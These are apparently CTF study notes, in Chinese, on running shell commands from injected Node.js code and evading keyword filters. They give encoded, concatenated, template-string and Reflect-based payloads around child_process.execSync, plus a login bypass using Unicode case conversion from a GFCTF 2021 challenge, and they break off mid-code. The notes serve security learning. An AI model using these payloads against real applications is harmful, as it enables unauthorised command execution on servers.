正常的nodejs中命令执行
console.log(global.process.mainModule.require("child_process").execSync("whoami").toString());
动态的一种绕过某些限制(比如模块缓存或包管理器的限制)比如过滤了require的方法
global.process.mainModule.constructor._load("child_process").execSync("whoami")
global.process.mainModule.constructor._load来动态导入child_process模块
nodejs中如何访问属性
用 . 访问对象的属性用 [] 访问属性 二.nodejs中的命令绕过参考:https://www.anquanke.com/post/id/237032
回顾一下
命令执行的方式
require("child_process").exec("sleep 3");require("child_process").execSync("sleep 3");在Node.js中,当使用child_process模块的execSync方法执行一个命令时,返回的是一个Buffer,而不是一个对象带有stdout属性。因此,尝试访问未定义的stdout属性会导致TypeError回显直接用 .toString()方法require("child_process").execFile("/bin/sleep",["3"]); //调用某个可执行文件,在第二个参数传argsrequire("child_process").spawn('sleep', ['3']);require("child_process").spawnSync('sleep', ['3']);回显用 .stdout.toString() 往往和payload绑定在一起的require("child_process").execFileSync('sleep', ['3']); 1.编码绕过16进制绕过 \x61
unicode编码绕过 ”反斜杠+u+码点” \u0061
base64编码绕过
eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())这里是对字符操作,就是 被引号或者反引号包裹起来的字符
""''`` 2.拼接绕过加号拼接 + 拼接
concat拼接
"exe".concat("cSync") 3.模板字符串nodejs中 `` 等价于 引号
比较特殊的是占位符 ${expression} 可以镶套变量 CTF中可以利用拼接字符串,绕过关键词过滤
`${}`被``包裹`${`${`return proc`}ess`}`=return process这里总结一下${}拼接的字符串,以便快速使用
process `${`${`proce`}ss`}`prototype`${`${`prototyp`}e`}`get_process`${`${`get_pro`}cess`}`require`${`${`requir`}e`}`execSync`${`${`exe`}cSync`}`return process`${`${`return proc`}ess`}`constructor`${`${`constructo`}r`}`child_process`${`${`child_proces`}s`}` 4.Obejct.keys实际上通过require导入的模块是一个Object,所以就可以用Object中的方法来操作获取内容。利用Object.values就可以拿到child_process中的各个函数方法,再通过数组下标就可以拿到execSync
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')
等价于nodejs中的命令执行
5.反射可以进行模糊调用,实际作用比不上模板字符串
Reflect这个关键字来实现反射调用函数的方式
要得到eval函数,可以首先通过Reflect.ownKeys(global)拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]即可得到eval
console.log(Reflect.ownKeys(global)) //返回所有函数
console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])//得到eval函数
替换成evconsole.log(global[Reflect.ownKeys(global).find(x=>x.includes('ev'))])也是可以的
也可以替换为console.log(global[Reflect.ownKeys(global).find(x=>x.startsWith('eva'))])注意不是startswith
6.过滤中括号的情况获取到eval的方式是通过global数组,其中用到了中括号[],假如中括号被过滤,可以用Reflect.get来绕
Reflect.get(target, propertyKey[, receiver])`的作用是获取对象身上某个属性的值,类似于`target[name]Reflect.get(global, Reflect.ownKeys(global).find(x => x.includes('eva')))("console.log(\"123\");");执行任意命令
典型例题 1.[GFCTF 2021]ez_calc保证字符小写不是admin,大写又是ADMIN
考点是toUpperCase函数进行大写转换的时候存在漏洞,也就是字符ı会变成I 这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == ‘I’,“ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制 同样的"K"的“小写”字符是k,也就是"K".toLowerCase() == ‘k’. 原理参考P牛文章:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
可以成功登录passwd=admin123&username=admın
到我们用F12查看源码时
F12获取的是浏览器解析后的源代码,可能会包含一些动态生成的内容
会发现泄露的源码
let calc = req.body.calc;let flag = false;//waffor (let i = 0; i